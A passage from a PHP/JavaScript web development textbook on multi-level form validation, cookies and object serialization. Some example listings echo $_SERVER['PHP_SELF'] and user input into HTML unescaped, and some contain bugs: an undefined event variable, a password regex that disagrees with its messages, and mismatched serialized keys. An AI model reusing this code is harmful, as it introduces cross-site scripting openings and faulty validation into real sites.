If you do need CAPTCHA capability, there are a variety of third-party
solutions. Perhaps the most common is reCAPTCHA, which is a free open-
source component available from Google. It comes with a JavaScript
component and PHP libraries that make it quite easy to add to any form.



15.6 Where to Perform Validation
Validation can be performed at three different levels. With HTML5, the
browser can perform basic validation with no need for any JavaScript.
However, since the validation that can be achieved in HTML5 is quite basic,
most web applications also perform validation in the browser using
JavaScript. The advantage of validation using JavaScript is that it reduces
server load and provides immediate feedback to the user. Unfortunately,
JavaScript validation cannot be relied on: for instance, it might be turned off
on the user's browser. For these reasons, validation must always be done on
the server side. Indeed, you should always perform the same validity checks
on both the client in JavaScript and on the server in PHP, but server-side
validation is the most important since it is the only validation that is
guaranteed to run. Figure 15.7 illustrates the interaction of the different levels
of validation.



Figure 15.7 Visualizing levels of
validation

Figure 15.7 Full Alternative Text

To illustrate this strategy, let us take a look at a simple validation example.
We will be creating the form and validations shown in Figure 15.8 . The



markup makes use of a variety of CSS classes defined in the Bootstrap
framework, which was examined back in Chapter 7. Listing 15.8 shows the
markup to which we will add validation.

Figure 15.8 Example form to be
validated

Figure 15.8 Full Alternative Text

Notice that each form element is contained within a <div> element with the
control-group class. We will later programmatically add a CSS class to this
element to visually indicate that an input element has a validation error.
Notice as well the <span> element with the class help-inline. We will
programmatically insert error messages into this span when a validation error
occurs.



Listing 15.8 Example form
(validationform.php) to be validated
<form method=“POST” action=“validationform.php” 

   class=“form-horizontal” id=“sampleForm” > 

<fieldset> 

<legend>Form with Validations</legend> 

 

<div class=“control-group” id=“controlCountry”> 

  <label class=“control-label” for=“country”>Country</label> 

  <div class=“controls”> 

    <select id=“country” name=“country” class=“input-xlarge”> 

      <option value=“0”>Choose a country</option> 

      <option value=“1”>Canada</option> 

      <option value=“2”>France</option> 

      <option value=“3”>Germany</option> 

      <option value=“4”>United States</option> 

    </select> 

    <span class=“help-inline” id=“errorCountry”></span> 

  </div> 

</div> 

 

<div class=“control-group” id=“controlEmail”> 

  <label class=“control-label” for=“email”>Email</label> 

  <div class=“controls”> 

    <input id=“email” name=“email” type=“text”  

           placeholder=“enter an email” 

           class=“input-xlarge” required> 

    <span class=“help-inline” id=“errorEmail”></span> 

  </div> 

</div> 

 

<div class=“control-group” id=“controlPassword”> 

  <label class=“control-label” for=“password”>Password</label> 

  <div class=“controls”> 

    <input id=“password” name=“password” type=“password” 

           placeholder=“enter at least six characters”  

           class=“input-xlarge” required> 

    <span class=“help-inline” id=“errorPassword”></span> 

  </div> 

</div> 

 

<div class=“control-group”> 

  <label class=“control-label” for=“singlebutton”></label> 



  <div class=“controls”> 

    <button id=“singlebutton” name=“singlebutton”  

            class=“btn btn-primary”> 

       Register 

    </button> 

  </div> 

</div> 

 

</fieldset> 

</form>

Notice as well the use of the required attributes on the input elements, which
is the first step in the validation strategy shown in Figure 15.7 . You may
recall from Chapter 5 that HTML5 also includes its own validation checks.
The required attribute can be added to an input element, and browsers that
support it will perform their own validation and message as shown in Figure
15.9 .

Figure 15.9 HTML5 browser
validation

Figure 15.9 Full Alternative Text

If you wish to disable the browser validation (perhaps because you want a
unified visual appearance to all validations), you can do so by adding the
novalidate attribute to the form attribute:



<form id=“sampleForm” method=“…” action=“…” novalidate>

Note
It cannot be stressed enough that all user input should be validated if possible
on both the client side and on the server side. But all user input must be
validated on the server side.

To reinforce this principle, JavaScript validation is sometimes referred to as
prevalidation, to allude to the server-side validation that must always occur
no matter what happens in JavaScript.

15.6.1 Validation at the JavaScript
Level
The second element in our validation strategy will be implemented within
JavaScript. We can perform validation on an element once it loses its focus
and when the user submits the form. To simplify our example, we will only
validate on a form submit.

function init() { 

   var sampleForm = document.getElementById('sampleForm'); 

   sampleForm.onsubmit = validateForm; 

} 

// call the init function once all the html has been loaded 

window.onload = init;

The basic validation is quite straightforward since we will be using regular
expressions. For instance, to check if the value in the form's password input
element is between 8 and 16 characters, the JavaScript would be:

var passReg = /^[a-zA-Z]\w{8,16}$/; 

if (! passReg.test(password.value)) { 

   // provide some type of error message 

}



What do we want to do when the JavaScript finds a validation error? In this
example, we will insert error message text into the relevant <span> element
and add the error class to the parent <div id=“control-group”> elements.
For instance, to display the appropriate changes for the password element, we
would do something similar to the following:

var span = document.getElementById('errorPassword'); 

var div = document.getElementById('controlPassword'); 

 

// add error message to error span element 

if (span) span.innerHTML = “Enter a password between 8-16 characters”;

// add error class to surrounding <div> 

if (div) div.className = div.className + “ error”;

Our form would also need to clear these error messages once the user fixes
them. To simplify for clarity's sake, we will clear the error state once the user
makes some change to the element. Listing 15.9 lists the complete JavaScript
validation solution.

Listing 15.9 Complete JavaScript
validation
<script> 

// we will reference these repeatedly 

var country = document.getElementById('country'); 

var email = document.getElementById('email'); 

var password = document.getElementById('password'); 

 

/*  

  Add passed message to the specified element  

*/ 

function addErrorMessage(id, msg) { 

   // get relevant span and div elements 

   var spanId = 'error' + id; 

   var span = document.getElementById(spanId); 

   var divId = 'control' + id; 

   var div = document.getElementById(divId); 

 

   // add error message to error <span> element 

   if (span) span.innerHTML = msg; 



   // add error class to surrounding <div> 

   if (div) div.className = div.className + “ error”; 

} 

 

/*  

  Clear the error messages for the specified element  

*/ 

function clearErrorMessage(id) { 

   // get relevant span and div elements 

   var spanId = 'error' + id; 

   var span = document.getElementById(spanId);  

   var divId = 'control' + id; 

   var div = document.getElementById(divId); 

 

   // clear error message and class to error span and div elements

   if (span) span.innerHTML = “”; 

   if (div) div.className = “control-group”; 

} 

 

/*  

  Clears error states if content changes  

*/ 

function resetMessages() { 

   if (country.selectedIndex > 0)  clearErrorMessage('Country'); 

   if (email.value.length > 0)     clearErrorMessage('Email'); 

   if (password.value.length > 0)  clearErrorMessage('Password'); 

} 

/*  

  sets up event handlers  

*/ 

function init() { 

   var sampleForm = document.getElementById('sampleForm'); 

   sampleForm.onsubmit = validateForm; 

 

   country.onchange = resetMessages; 

   email.onchange = resetMessages; 

   password.onchange = resetMessages; 

} 

 

/*  

  perform the validation checks  

*/ 

function validateForm() { 

   var errorFlag = false; 

 

   // check email 

   var emailReg = /(.+)@([^\.].*)\.([a-z]{2,})/; 

   if (! emailReg.test(email.value)) { 



      addErrorMessage('Email', 'Enter a valid email'); 

      errorFlag = true;  

   }  

 

   // check password 

   var passReg = /^[a-zA-Z]\w{8,16}$/; 

   if (! passReg.test(password.value)) { 

      addErrorMessage('Password', 'Enter a password between 9-16  

                       characters'); 

      errorFlag = true; 

   } 

   // check country 

   if ( country.selectedIndex <= 0 ) { 

      addErrorMessage('Country', 'Select a country'); 

      errorFlag = true;  

   } 

 

   //  if any error occurs then cancel submit; due to browser  

   // irregularities this has to be done in a variety of ways 

   if (! errorFlag) 

      return true; 

   else { 

      if (e.preventDefault) { 

         e.preventDefault(); 

      } else { 

         e.returnValue = false; 

      } 

      return false; 

   } 

} 

 

// set up validation handlers when page is downloaded and ready 

window.onload = init; 

</script>

Pro Tip
HTML5 defines a Constraint API, which potentially provides a more
standardized way for performing client-side validations in JavaScript. While
we do not have the space to explore this API, you are encouraged to explore
this API if you need to construct client-side validations.



15.6.2 Validation at the PHP Level
No matter how good the HTML5 and JavaScript validation, client-side
prevalidation can always be circumvented by hackers, or turned off by savvy
users. Validation on the server side using PHP is the most important form of
validation and the only one that is absolutely essential. In this case, we will
be validating the query string parameters rather than the form elements
directly as with JavaScript. Since we will be doing reasonably similar checks
on all three of the parameters, we will encapsulate the code into the class
shown in Listing 15.10. Notice that the checkParameter() method is static.

Since most of the validation work is being done by the regular expressions
and the ValidationResult class, the PHP needed in the form is minimal, as
shown in Listing 15.11. To help us differentiate the JavaScript error messages
from the PHP error messages, this example has the text “[PHP]” appended to
the end of the error message strings.

Listing 15.10 ValidationResult class
<?php 

/*  

  Represents the results of a validation  

*/ 

class ValidationResult 

{ 

   private $value;             // user input value to be validated

   private $cssClassName;      // css class name for display 

   private $errorMessage;      // error message to be displayed 

   private $isValid = true;    // was the value valid 

  

   // constructor 

   public function __construct($cssClassName, $value, $errorMessage,  

                               $isValid) { 

      $this->cssClassName = $cssClassName; 

      $this->value = $value; 

      $this->errorMessage = $errorMessage; 

      $this->isValid = $isValid; 

   }  

 



   // accessors 

   public function getCssClassName() { return $this->cssClassName; }

   public function getValue() { return $this->value; } 

   public function getErrorMessage() { return $this->errorMessage; }

   public function isValid() { return $this->isValid; } 

  

   /* 

     Static method used to check a querystring parameter 

     and return a ValidationResult 

   */ 

   static public function checkParameter($queryName, $pattern,  

                                         $errMsg) { 

      $error = “”; 

      $errClass = “”; 

      $value = “”; 

      $isValid = true; 

     

      // first check if the parameter doesn't exist or is empty 

      if (empty($_POST[$queryName])) { 

         $error = $errMsg; 

         $errClass = “error”;     

         $isValid = false; 

      } 

      else { 

         // now compare it against a regular expression 

         $value = $_POST[$queryName]; 

         if ( ! preg_match($pattern, $value) ) { 

            $error = $errMsg; 

            $errClass = “error”; 

            $isValid = false; 

         }    

      } 

      return new ValidationResult($errClass, $value, $error, $isValid);

   }  

} 

?>

Listing 15.11 PHP form validation
<?php 

// turn on error reporting to help potential debugging 

error_reporting(E_ALL); 

ini_set('display_errors','1'); 

 

include_once('ValidationResult.class.php'); 



 

// create default validation results 

$emailValid = new ValidationResult(“”, ““, ””, true); 

$passValid = new ValidationResult(“”, ““, ””, true); 

$countryValid = new ValidationResult(“”, ““, ””, true); 

 

// if GET then just display form 

// 

// if POST then user has submitted data, we need to validate it 

if ($_SERVER[“REQUEST_METHOD”] == “POST”) { 

   $emailValid = ValidationResult::checkParameter(“email”, 

                 '/(.+)@([^\.].*)\.([a-z]{2,})/',  

                 'Enter a valid email [PHP]'); 

   $passValid = ValidationResult::checkParameter(“password”, 

                '/^[a-zA-Z]\w{8,16}$/', 

                'Enter a password between 8-16 characters [PHP]');

   $countryValid = ValidationResult::checkParameter(“country”,  

                   '/[1-4]/', 'Choose a country [PHP]'); 

  

   // if no validation errors redirect to another page 

   if ($emailValid->isValid() && $passValid->isValid() && 

                              $countryValid->isValid() ) { 

      header( 'Location: success.php' );  

   }  

} 

 

?> 

<!DOCTYPE html> 

<html> 

…

Note
The PHP header() function will only redirect if there has been no other
output to the response stream (i.e., before any HTML or PHP echo-type
statements).

Finally, we need to display error messages and error CSS classes (or display
empty strings if no errors) if the PHP encounters any errors, as shown in
Listing 15.12. Notice the revised action attribute in the listing. If a form is
posting back to itself, it is preferable to use $_SERVER[“PHP_SELF”] instead
of hard-coding a location since you won't have to update the code if you



change the script's name.

Listing 15.12 Revised form with
PHP validation messages
<form method=“POST” action=“<?php echo $_SERVER[”PHP_SELF“];?>” 

   class=“form-horizontal” id=“sampleForm” > 

<fieldset> 

<legend>Form with Validations</legend> 

 

<!— Country select list --> 

<div class=“control-group <?php echo  

     $countryValid->getCssClassName(); ?>” id=“controlCountry”> 

  <label class=“control-label” for=“country”>Country</label> 

  <div class=“controls”> 

    <select id=“country” name=“country” class=“input-xlarge” 

         value=“<?php echo $countryValid->getValue(); ?>” > 

      <option value=“0”>Choose a country</option> 

      <option value=“1” 

        <?php if ($countryValid->getValue()==1) echo “selected”; ?> >

        Canada</option> 

      <option value=“2” 

        <?php if ($countryValid->getValue()==2) echo “selected”; ?> >

        France</option> 

      <option value=“3” 

        <?php if ($countryValid->getValue()==3) echo “selected”; ?> >

        Germany</option> 

      <option value=“4” 

        <?php if ($countryValid->getValue()==4) echo “selected”; ?> >

        United States</option> 

    </select> 

    <span class=“help-inline” id=“errorCountry”> 

       <?php echo $countryValid->getErrorMessage(); ?> 

    </span> 

  </div> 

</div> 

<!— Email text box --> 

<div class=“control-group <?php echo  

            $emailValid-> getCssClassName(); ?>” id=“controlEmail”>

  <label class=“control-label” for=“email”>Email</label> 

  <div class=“controls”> 

    <input id=“email” name=“email” type=“text” 

       value=“<?php echo $emailValid->getValue(); ?>” 



          placeholder=“enter an email” class=“input-xlarge”  

               required> 

    <span class=“help-inline” id=“errorEmail”> 

       <?php echo $emailValid->getErrorMessage(); ?> 

    </span> 

  </div> 

</div> 

 

<!-- Password text box --> 

<div class=“control-group <?php echo $passValid-> 

            getCssClassName(); ?>” id=“controlPassword”> 

  <label class=“control-label” for=“password”>Password</label> 

  <div class=“controls”> 

    <input id=“password” name=“password” type=“password” 

       placeholder=“enter at least six characters”  

         class=“input-xlarge” required> 

    <span class=“help-inline” id=“errorPassword”> 

     <?php echo $passValid->getErrorMessage(); ?> 

    </span> 

  </div> 

</div> 

 

<!-- Submit button --> 

<div class=“control-group”> 

  <label class=“control-label” for=“singlebutton”></label> 

  <div class=“controls”> 

    <button id=“singlebutton” name=“singlebutton”  

            class=“btn btn-primary”> 

    Register</button> 

  </div> 

</div></fieldset> 

</form>

Since this example has validation at both the JavaScript and PHP levels, you
will need a way to test whether the PHP validation is working. You can do
this by turning off JavaScript in the browser, or by temporarily commenting
out the following line in the JavaScript (which loads the event handler that
sets up the JavaScript validators):

window.onload = init;

Pro Tip



There are many jQuery-based validation plug-ins that can not only simplify
client-side validation and message display, but can perform the validations
during the focus and change events and even perform validations that require
server-based information asynchronously using AJAX techniques.



15.7 Chapter Summary
This chapter covers perhaps the least exciting topic in software development:
that of exception and error handling. But what the topic lacks in excitement,
it makes up for in importance. The improper handling of exceptions and
errors is one of the main reasons sites can get into trouble, and requires
careful attention by developers. This chapter began by examining the
different types of errors and how errors are different from exceptions. It also
briefly examined how to customize the way PHP reports warnings and errors.
It covered how to handle both errors and exceptions in PHP. The vital topic
of regular expressions was introduced along with a more involved example.
A variety of validation best practices were then enumerated. Finally, the
chapter demonstrated how a multilevel approach to user input validation can
be constructed that integrates validation at the HTML, JavaScript, and PHP
levels.

15.7.1 Key Terms
CAPTCHA

error

exception

expected error

fatal errors

literal

metacharacter

regular expression



spam bots

warnings

15.7.2 Review Questions
1. 1. What are the three types of errors? How are errors different from

exceptions?

2. 2. What is the role of error reporting in PHP? How should it differ for
development sites compared to production sites?

3. 3. Discuss the trade-offs between procedural and object-oriented
exception handling.

4. 4. Discuss the role that regular expressions have in error and exception
handling.

5. 5. What are the most common types of user input validation?

6. 6. Discuss strategies for handling validation errors. That is, what should
your page do (from a user experience perspective) when an error occurs?

7. 7. What strategies can one adopt when designing a form that will help
reduce validation errors?

8. 8. What problem does CAPTCHA address?

9. 9. Validation checks should occur at multiple levels. What are the levels
and why is it important to do so?

15.7.3 Hands-On Practice

Project 1: Photo Sharing Site



Difficulty Level: Basic

Overview
This project simply walks you through various logging techniques and
settings but illustrates how error message management is important.

Hands-on Exercises
Project 15.1

Instructions
1. Open chapter15-project01.php in the editor of your choice, so you can

start making changes. This file is riddled with various levels of errors
and warnings. However, if you view the page in a browser, you will,
depending on the error reporting settings of your PHP environment,
likely not see any errors, as shown in the first screen in Figure 15.10 .





Figure 15.10 Illustration of
the errors being displayed
inside the browser

Figure 15.10 Full Alternative Text

2. Turn on error reporting and the display of errors at the top of the
chapter15-project01.php page. Refresh the page to see a wealth of errors
output as shown in the second screen in Figure 15.10 .

3. Since the errors being displayed reveal quite a lot about your
application, we will have to log the errors to somewhere safer. In
chapter15-project01.php, turn on the logging of errors (for instance, to a
file called my-errors.log).

Testing
1. Run the page after turning on error reporting.

2. Fix the errors if you want to. Knowing how to see them, and knowing
that you could fix them may well suffice for this project.

3. Remember how easy it is to look up and configure error logging. Try to
apply this principle throughout your development to avoid creating
security holes that leak information out through error messages.

Project 2: Art Store

Difficulty Level: Intermediate



Overview
Extend the JavaScript validation techniques covered in Chapter 9 and make
use of regular expressions to perform sophisticated client-side validation. To
simplify the DOM coding required, we recommend using your JQuery
knowledge from Chapter 10.

Hands-on Exercises
Project 15.2

Instructions
1. Examine and test register.php in the browser. You are going to add

validation checks for the first and last name (they must be non-blank),
the phone number (it must follow North American format of ###-###-
####), the email (it must have a valid format), the passwords (they must
be identical and between 6 and 18 characters long), and the agreement to
terms and conditions (it must be checked). Figure 15.11 illustrates the
empty form and the error messages which you will add in the next steps.





Figure 15.11 Completed
Project 2

Figure 15.11 Full Alternative Text

2. In validation.js, attach an event handler for the click event of the register
button. This listener will need to make use of regular expressions to test
the phone number, email, and password fields. Regular conditional logic
will be needed to validate the names, password equality, and the term
agreement checkbox.

3. In the event there is an error, prevent the form from submitting, add a
relevant error message to the <div> with the id=“errors”, and then
toggle the visibility of this <div>. You can also add the class errors to
the container element (e.g., emailcontainer) for the field that generated
the error; this will change the color of the input element to red.

Testing
1. Try clicking on the register button with several invalid fields. It should

identify the errors, highlight the fields, and prevent the form from
submitting.

2. Try fixing the fields one at a time. Each time a field's data is fixed and
made valid (and then the register button clicked), verify that the error
message for that field is no longer displayed and the field highlighting is
removed.

3. Finally, submit the form with correct information, and ensure that it
actually posts to the desired destination (see Figure 15.12 ).



Figure 15.12 Completed
Project 3

Figure 15.12 Full Alternative Text

Project 3: Art Store

Difficulty Level: Advanced

Overview
To properly implement validation, server-side code must perform validation,



even if you performed JavaScript prevalidation. This project adds identical
server-side validation.

Hands-on Exercises
Project 15.3

Instructions
1. Continue working on the file from Project 2.

2. You have been provided with a file named process-register.php that
displays the posted data from register.php (see Figure 15.12 ).

3. Add the same validation checks (see step 1 in Project 2) but this time in
PHP. Reflect on why you are writing similar code on the server, as you
did on the client. What is the purpose of having validation on client and
server?

4. Modify the PHP file to redirect to the process-register.php page if there
is any validation errors with the same error messages and styling as in
the last project. Note: There should be no difference between the CSS
styling used in client-side validation and server-side validation.

Testing
1. To test this, you will need to disable JavaScript or rename the

validation.js file.

2. Ensure it works in the same way as Project 2. Note: in the end of chapter
projects for Chapter 18 you will continue this example by actually
saving the user login information within a database table in a realistic
and secure manner.
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16 Managing State



Chapter Objectives
In this chapter you will learn …

Why state is a problem in web application development

What cookies are and how to use them

What HTML5 web storage is and how to use it

What session state is and what are its typical uses and limitations

What server cache is and why it is important in real-world websites

This chapter examines one of the most important questions in the web
development world, namely, how does one page pass information to another
page? This question is sometimes also referred to as the problem of state
management in web applications. State management is essential to any web
application because every web application has information that needs to be
preserved from request to request. This chapter begins by examining the
problem of state in web applications and the solutions that are available in
HTTP. It then examines the state management features that are available in
PHP.



16.1 The Problem of State in Web
Applications
Much of the programming in the previous several chapters has analogies to
most typical nonweb application programming. Almost all applications need
to process user inputs, output information, and read and write from databases
or other storage media. But in this chapter we will be examining a
development problem that is unique to the world of web development: how
can one request share information with another request?

At first glance this problem does not seem especially formidable. Single-user
desktop applications do not have this challenge at all because the program
information for the user is stored in memory (or in external storage) and can
thus be easily accessed throughout the application. Yet one must always
remember that web applications differ from desktop applications in a
fundamental way. Unlike the unified single process that is the typical desktop
application, a web application consists of a series of disconnected HTTP
requests to a web server where each request for a server page is essentially a
request to run a separate program, as shown in Figure 16.1 .





Figure 16.1 Desktop
applications versus web
applications

Figure 16.1 Full Alternative Text

Furthermore, the web server sees only requests. The HTTP protocol does not,
without programming intervention, distinguish two requests by one source
from two requests from two different sources, as shown in Figure 16.2 .





Figure 16.2 What the web
server sees

Figure 16.2 Full Alternative Text

While the HTTP protocol disconnects the user's identity from his or her
requests, there are many occasions when we want the web server to connect
requests together. Consider the scenario of a web shopping cart, as shown in
Figure 16.3 . In such a case, the user (and the website owner) most certainly
wants the server to recognize that the request to add an item to the cart and
the subsequent request to check out and pay for the item in the cart are
connected to the same individual.

Figure 16.3 What the user
wants the server to see



Figure 16.3 Full Alternative Text

The rest of this chapter will explain how web programmers and web
development environments work together through the constraints of HTTP to
solve this particular problem. As we will see, there is no single “perfect”
solution, but a variety of different ones each with their own unique strengths
and weaknesses.

The starting point will be to examine the somewhat simpler problem of how
does one web page pass information to another page? That is, what
mechanisms are available within HTTP to pass information to the server in
our requests? As we have already seen in Chapters 1, 5, and 12, what we can
do to pass information is constrained by the basic request-response
interaction of the HTTP protocol. In HTTP, we can pass information using:

Query strings

Cookies



16.2 Passing Information via Query
Strings
As you will recall from earlier chapters, a web page can pass query string
information from the browser to the server using one of the two methods: a
query string within the URL (GET) and a query string within the HTTP header
(POST). Figure 16.4 reviews these two different approaches.



Figure 16.4 Recap of GET
versus POST



Figure 16.4 Full Alternative Text

Note
Remember as well that HTML links and forms using the GET method do the
same thing: they make HTTP requests using the GET method.



16.3 Passing Information via the
URL Path
While query strings are a vital way to pass information from one page to
another, they do have a drawback. The URLs that result can be long and
complicated. While for many users this is not that important, many feel that
for one particular type of user, query strings are not ideal. Which type of
user? Perhaps the single most important user: search engines.

While there is some dispute about whether dynamic URLs (i.e., ones with
query string parameters) or static URLs are better from a search engine result
optimization (or SEO for search engine optimization) perspective, the
consensus is that static URLs do provide some benefits with search engine
result rankings. Many factors affect a page's ranking in a search engine, as
you will see in Chapter 24, but the appearance of search terms within the
URL does seem to improve its relative position. Another benefit to static
URLs is that users tend to prefer them.

As we have seen, dynamic URLs (i.e., query string parameters) are a pretty
essential part of web application development. How can we do without them?
The answer is to rewrite the dynamic URL into a static one (and vice versa).
This process is commonly called URL rewriting.

For instance, in Figure 16.5 , the top four commerce-related results for the
search term “reproductions Raphael portrait la donna velata” are shown along
with their URLs. Notice how the top three do not use query string parameters
but instead put the relevant information within the folder path or the file
name.



Figure 16.5 URLs within a
search engine result page

Figure 16.5 Full Alternative Text



You might notice as well that the extension for the first three results is .html.
This doesn't mean that these sites are serving static HTML files (in fact two
of them are using PHP); rather the file name extension is also being rewritten
to make the URL friendlier.

We can try doing our own rewriting. Let us begin with the following URL
with its query string information:

www.somedomain.com/DisplayArtist.php?artist=16

One typical alternate approach would be to rewrite the URL to:

www.somedomain.com/artists/16.php

Notice that the query string name and value have been turned into path
names. One could improve this to make it more SEO friendly using the
following:

www.somedomain.com/artists/Mary-Cassatt

16.3.1 URL Rewriting in Apache
and Linux
Depending on your web development platform, there are different ways to
implement URL rewriting. On web servers running Apache, the solution
typically involves using the mod_rewrite module in Apache along with the
.htaccess file.

The mod_rewrite module uses a rule-based rewriting engine that utilizes
Perl-compatible regular expressions to change the URLs so that the requested
URL can be mapped or redirected to another URL internally.

URL rewriting requires knowledge of the Apache web server, so the details
of URL rewriting are covered in Section 22.3.12 of Chapter 22, after some
more background on Apache has been presented.



16.4 Cookies
There are few things in the world of web development so reviled and
misunderstood as the HTTP cookie. Cookies are a client-side approach for
persisting state information. They are name=value pairs that are saved within
one or more text files that are managed by the browser. These pairs
accompany both server requests and responses within the HTTP header.
While cookies cannot contain viruses, third-party tracking cookies have been
a source of concern for privacy advocates.

Cookies were intended to be a long-term state mechanism. They provide
website authors with a mechanism for persisting user-related information that
can be stored on the user's computer and be managed by the user's browser.

Cookies are not associated with a specific page but with the page's domain,
so the browser and server will exchange cookie information no matter what
page the user requests from the site. The browser manages the cookies for the
different domains so that one domain's cookies are not transported to a
different domain.

While cookies can be used for any state-related purpose, they are principally
used as a way of maintaining continuity over time in a web application. One
typical use of cookies in a website is to “remember” the visitor, so that the
server can customize the site for the user. Some sites will use cookies as part
of their shopping cart implementation so that items added to the cart will
remain there even if the user leaves the site and then comes back later.
Cookies are also frequently used to keep track of whether a user has logged
into a site.

16.4.1 How Do Cookies Work?
While cookie information is stored and retrieved by the browser, the
information in a cookie travels within the HTTP header. Figure 16.6
illustrates how cookies work.



Figure 16.6 Cookies at work
Figure 16.6 Full Alternative Text

There are limitations to the amount of information that can be stored in a



cookie (around 4K) and to the number of cookies for a domain (for instance,
Internet Explorer 6 limited a domain to 20 cookies).

Like their similarly named chocolate chip brethren beloved by children
worldwide, HTTP cookies can also expire. That is, the browser will delete
cookies that are beyond their expiry date (which is a configurable property of
a cookie). If a cookie does not have an expiry date specified, the browser will
delete it when the browser closes (or the next time it accesses the site). For
this reason, some commentators will say that there are two types of cookies:
session cookies and persistent cookies. A session cookie has no expiry stated
and thus will be deleted at the end of the user browsing session. Persistent
cookies have an expiry date specified; they will persist in the browser's
cookie file until the expiry date occurs, after which they are deleted.

The most important limitation of cookies is that the browser may be
configured to refuse them. As a consequence, sites that use cookies should
not depend on their availability for critical features. Similarly, the user can
also delete cookies or even tamper with the cookies, which may lead to some
serious problems if not handled. Several years ago, there was an instructive
case of a website selling stereos and televisions that used a cookie-based
shopping cart. The site placed not only the product identifier but also the
product price in the cart. Unfortunately, the site then used the price in the
cookie in the checkout. Several curious shoppers edited the price in the
cookie stored on their computers, and then purchased some big-screen
televisions for only a few cents!

Note
Remember that a user's browser may refuse to save cookies. Ideally your site
should still work even in such a case.

16.4.2 Using Cookies
Like any other web development technology, PHP provides mechanisms for



writing and reading cookies. Cookies in PHP are created using the
setcookie() function and are retrieved using the $_COOKIES superglobal
associative array, which works like the other superglobals covered in Chapter
12.

Hands-On Exercises Lab 16
Exercise
Using Cookies

Listing 16.1 illustrates the writing of a persistent cookie in PHP. It is
important to note that cookies must be written before any other page
output.

Listing 16.1 Writing a cookie
<?php 

   // add 1 day to the current time for expiry time 

   $expiryTime = time()+60*60*24; 

   // create a persistent cookie 

   $name = “Username”; 

   $value = “Ricardo”; 

   setcookie($name, $value, $expiryTime); 

?>

The setcookie() function also supports several more parameters, which
further customize the new cookie. You can examine the online official PHP
documentation for more information.1

Listing 16.2 illustrates the reading of cookie values. Notice that when we
read a cookie, we must also check to ensure that the cookie exists. In PHP, if
the cookie has expired (or never existed in the first place), then the client's
browser would not send anything, and so the $_COOKIE array would be blank.



Pro Tip
Almost all browsers now support the HttpOnly cookie. This is a cookie that
has the HttpOnly flag set in the HTTP header. Using this flag can mitigate
some of the security risks with cookies (e.g., cross-site scripting or XSS).
This flag instructs the browser to not make this cookie available to
JavaScript. In PHP, you can set the cookie's HttpOnly property to true when
setting the cookie:

setcookie($name, $value, $expiry, null, null, null, true);

16.4.3 Persistent Cookie Best
Practices
So what kinds of things should a site store in a persistent cookie? Due to the
limitations of cookies (both in terms of size and reliability), your site's correct
operation should not be dependent upon cookies. Nonetheless, the user's
experience might be improved with the judicious use of cookies.

Listing 16.2 Reading a cookie
<?php 

   if( !isset($_COOKIE['Username']) ) { 

      //no valid cookie found 

   } 

   else { 

      echo “The username retrieved from the cookie is:”;  

      echo $_COOKIE['Username']; 

   } 

?>

Many sites provide a “Remember Me” checkbox on login forms, which relies
on the use of a persistent cookie. This login cookie would contain the user's
username but not the password. Instead, the login cookie would contain a



random token; this random token would be stored along with the username in
the site's back-end database. Every time the user logs in, a new token would
be generated and stored in the database and cookie.

Another common, nonessential use of cookies would be to use them to store
user preferences. For instance, some sites allow the user to choose their
preferred site color scheme or their country of origin or site language. In
these cases, saving the user's preferences in a cookie will make for a more
contented user, but if the user's browser does not accept cookies, then the site
will still work just fine; at worst the user will simply have to reselect his or
her preferences again.

Another common use of cookies is to track a user's browsing behavior on a
site. Some sites will store a pointer to the last requested page in a cookie; this
information can be used by the site administrator as an analytic tool to help
understand how users navigate through the site.

Pro Tip
All requests/responses to/from a domain will include all cookies for that
domain. This includes not just requests/responses for web pages, but for static
components as well, such as image files, CSS files, etc. For a site that makes
use of many static components, cookie overhead will increase the network
traffic load for the site unnecessarily. For this reason, most large websites that
make use of cookies will host those static elements on a completely different
domain that does not use cookies. For instance, ebay.com hosts its images on
ebaystatic.com and amazon.com hosts its images on images-amazon.com.

http://amazon.com


16.5 Serialization
Serialization is the process of taking a complicated object and reducing it
down to zeros and ones for either storage or transmission. Later that sequence
of zeros and ones can be reconstituted into the original object as illustrated in
Figure 16.7 .

Figure 16.7 Serialization and
deserialization



Figure 16.7 Full Alternative Text
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Exercise
Serialize Your Objects

In PHP objects can easily be reduced down to a binary string using the
serialize() function. The resulting string is a binary representation of the
object and therefore may contain unprintable characters. The string can be
reconstituted back into an object using the unserialize() method.2

While arrays, strings, and other primitive types will be serializable by default,
classes of our own creation must implement the Serializable interface
shown in Listing 16.3, which requires adding implementations for
serialize() and unserialize() to any class that implements this interface.

Listing 16.3 The Serializable
interface
interface Serializable { 

   /* Methods */ 

   public function serialize(); 

   public function unserialize($serialized); 

}

Listing 16.4 shows how the Artist class must be modified to implement the
Serializable interface by adding the implements keyword to the class
definition and adding implementations for the two methods.

Listing 16.4 Artist class modified to



implement the Serializable interface
class Artist implements Serializable { 

   //… 

   // Implement the Serializable interface methods 

   public function serialize() { 

       // use the built-in PHP serialize function 

       return serialize( 

               array(“earliest” =>self::$earliestDate, 

                     “first” => $this->firstName, 

                     “last” => $this->lastName, 

                     “bdate” => $this->birthDate, 

                     “ddate” => $this->deathDate, 

                     “bcity” => $this->birthCity, 

                     “works” => $this->artworks 

                     ) 

               ); 

    } 

    public function unserialize($data) { 

       // use the built-in PHP unserialize function 

       $data = unserialize($data);   

       self::$earliestDate = $data['earliest']; 

       $this->firstName = $data['first']; 

       $this->lastName = $data['last']; 

       $this->birthDate = $data['bdate']; 

       $this->deathDate = $data['ddate']; 

       $this->birthCity = $data['bcity']; 

       $this->artworks = $data['works']; 

    } 

    //… 

}

Note that in order for our Artist class to save successfully, the Art,
Painting, and other classes must also implement the Serializable interface
(not shown here). It should be noted that references to other objects stored at
the same time will be preserved while references to objects not serialized in
this operation will be lost. This will influence how we use serialization, since
if we want to store an object model, we must store all associated objects at
once.

The output of calling serialize($picasso) is:

C:6:“Artist”:764:{a:7:{s:8:“earliest”;s:13:“Oct 25, 1881”;s:5:“firstName”;s:5:“Pablo”;s:4:“lastName”;s:7:“Picasso”;s:5:“birthDate”;s:13:



“Oct 25, 1881”;s:5:“deathDate”;s:11:“Apl 8, 1973”;s:5:“birthCity”;

s:6:“Malaga”;s:5:“works”; a:3:{i:0;C:8:“Painting”:134:{a:2:{s:4:“size”;

a:2:{i:0;d:7.7999999999999998;i:1;d:3.5;}s:7:“artData“;s:54:”a:2: 

{s:4:“date“;s:4:”1937“;s:4:”name“;s:8:”Guernica“;}”;}}i:1;C:9:“Sculpture”

:186:{a:2:{s:6:“weight”;s:8:“162 tons”;s:13:“paintingData”; s:133:

